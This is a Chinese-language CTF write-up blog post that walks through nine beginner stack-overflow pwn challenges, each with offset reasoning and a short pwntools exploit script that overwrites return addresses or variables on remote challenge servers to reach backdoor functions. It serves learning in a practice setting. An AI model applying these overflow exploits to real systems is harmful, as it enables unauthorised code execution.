简单的CTF pwn的栈溢出 (超级超级详细)

1. `BUUCTF   warmup_csaw_2016`

思路:首先,先查看该文件的位数(checksec name),发现为64位,则打开ida64.exe。
然后找到main函数(程序路口),再看如何获取flag与找注入点。发现注入点在gets(),获取flag的函数在
sub_40060D。该程序的栈共有128字符+8字符(防溢出字符),而输入是v5即从040开始输入,所以共有64+8字节,溢出的部分会被执行。

exp:
from pwn import *

p=remote("node5.buuoj.cn",29448)

payload=b'a'*72+p64(0x40060D)

p.sendline(payload)
p.interactive()


```

2. `[BUUCTF   ciscn_2019_n_1)`


思路:看主函数,没东西,只有func(),所以点击func()看此函数内容,发现注入点gets(),触发flag点,v2==11.281125。再通过变量,来看栈,总共44个字符+8个字符。输入是从0x30开始放字符的。v2在v5下面,所以要覆盖前44字符,使v2=11.28125,不过输入的时候,要把11.28125改为32位十六进制字节序列。

exp:
from pwn import *

p=remote("node5.buuoj.cn",26581)

payload=b'a'*44+p32(0x41348000)

p.sendline(payload)
p.interactive()


3. `[BUUCTF   pwn1_sctf_2016)`

```


思路:点main,发现vuin(),进去看,发现注入点fget(),限制32字符,flag获得函数,边框中get_flag。
输入s,长度小于32字符,s给input,下面为替换部分I->you,最后把结果又还给s。再看栈,从s变量开始,
利用栈位置为60字符+4字符。最后利用溢出会执行get_flag(),来构造。

exp:
from pwn import *

p=remote("node5.buuoj.cn",29638)

payload=b'I'*20+b'a'*4+p64(0x8048F0D)

p.sendline(payload)
p.interactive()

4. `[BUUCTF   bjdctf_2020_babystack)`
 

```
思路:进入main(),发现获取flag在backdoor函数,注入点在scanf和read。栈的位置为16个字符+8个字符。


exp:
from pwn import *

p=remote("node5.buuoj.cn",27036)


payload=b'a'*24+p64(0x004006e6)
p.sendline(b'100')
p.sendline(payload)
p.interactive()

5. `[BUUCTF   jarvisoj_level0)`
![[attachments/Pasted image 20250523180101.png]]
![[attachments/Pasted image 20250523175742.png]]
![[attachments/Pasted image 20250523175424.png]]
```
思路:进入main函数,进入vulnerable_function()函数,发现注入点,read()(读入512个字符到buf),
获取flag为callsystem。栈最多为128+8位字符。可构造栈溢出。

exp:
from pwn import *

p=remote("node5.buuoj.cn",26754)


payload=b'a'*136+p64(0x00400596)
p.sendline(payload)
p.interactive()


 

6. `[BUUCTF   ciscn_2019_n_8)`

思路:进入main,注入点为scanf,获取flag点为system('/bin/sh'),目标为赋值var[13]之后包括这个 为17。if条件1:*(_QWORD *)&var[13],后8字符不为0。if条件2,*(_QWORD *)&var[13] == 17LL,后8位字符的整形为17。

exp:
from pwn import *

p=remote("node5.buuoj.cn",25844)


payload=b'a'*(13*4)+p64(0x11)
p.sendline(payload)
p.interactive()


7. `[BUUCTF   get_started_3dsctf_2016)`


思路:进入main,发现注入点gets(),获取flag函数 get_flag()。需栈的位数,56+11位。同时要给get_flag()函数传入a1=814536271,a2=425138641。同时发现get_flag(),那没有退出函数,所以
还要传入 return 或exit().

exp:
from pwn import *

p=remote("node5.buuoj.cn",25004)


payload=b'a'*56+p32(0x080489A0)+p32(0x0804E6A0)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.interactive()

8. `借的东风破金锁qnctf`


源码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 buf[4]; // [rsp+10h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);  //防溢出
  init(argc, argv, envp);
  puts("[+]Welcome to SQNUCTF !");
  printf("[+] Input your key: ");
  read(0, buf, 0x10uLL); //读入16位字符
  if ( buf[0] == auth_code ) //相等  auth_code=53514E55435446
    backdoor(); //得flag
  else
    puts("[-] Authentication failed!");
  return 0;
}

思路:进入main,注入点read()(限制16位字符),获取flag,backdoor()函数。buf[0]为8个字符,要构造这8个字符为53514E55435446就可以了。

exp:
from pwn import *

p=remote("challenge.qsnctf.com",31009)

payload=p64(0x53514E55435446)
p.sendline(payload)
p.interactive()

```

9.` 领取你的小猫娘qnctf`


源码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[76]; // [rsp+0h] [rbp-50h] BYREF
  int v5; // [rsp+4Ch] [rbp-4h]

  init(argc, argv, envp);
  v5 = 0;
  puts("[+]Welcome to SQNUCTF!");
  sleep(1u);
  puts("[+]Cat girl is super hungry now, she won't give a flag if she doesn't have anything to eat.");
  puts("[+]hint:Virtual cat girl loves to eat characters");
  gets(v4);  //注入点
  if ( v5 )  //v5不为0
  {
    backdoor();   //拿flag
  }
  else
  {
    puts("[*]I haven't eaten enough, you scoundrel.");
    puts("[*]Hmph, I won't talk to you anymore!");
  }
  return 0;
}

思路:进入main(),发现注入点gets(),执行backdoor(),就能获得flag。看栈,v5在v4下面,只要溢出v5一点就行。76+1位

exp:
from pwn import *

p=remote("challenge.qsnctf.com",30853)

payload=b'a'*77
p.sendline(payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值